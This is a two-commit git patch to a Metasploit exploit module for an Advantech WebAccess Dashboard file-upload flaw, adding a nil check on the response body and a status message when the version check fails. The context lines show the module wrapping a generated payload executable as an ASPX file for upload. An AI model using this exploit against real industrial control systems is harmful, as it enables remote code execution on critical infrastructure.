From c88ddf1cc4abe01dbce3fd8b3e1bb69adf483d64 Mon Sep 17 00:00:00 2001 From: join-us Date: Tue, 19 Apr 2016 10:27:20 +0800 Subject: [PATCH 1/2] fix NilClass for res.body --- .../windows/scada/advantech_webaccess_dashboard_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb index 04b6d98d4b..1c1baf3635 100644 --- a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb +++ b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote ) end - ver = version_match(res.body) + ver = res && res.body ? version_match(res.body) : nil true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false end From 0407acc0ecf999379531b9a92911d19e6ebe9447 Mon Sep 17 00:00:00 2001 From: join-us Date: Tue, 19 Apr 2016 11:22:00 +0800 Subject: [PATCH 2/2] add print_status with vuln_version? --- .../scada/advantech_webaccess_dashboard_file_upload.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb index 1c1baf3635..8441058c01 100644 --- a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb +++ b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb @@ -112,7 +112,10 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - return unless vuln_version? + unless vuln_version? + print_status("#{peer} - Cannot reliably check exploitability.") + return + end filename = "#{Rex::Text.rand_text_alpha(5)}.aspx" filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)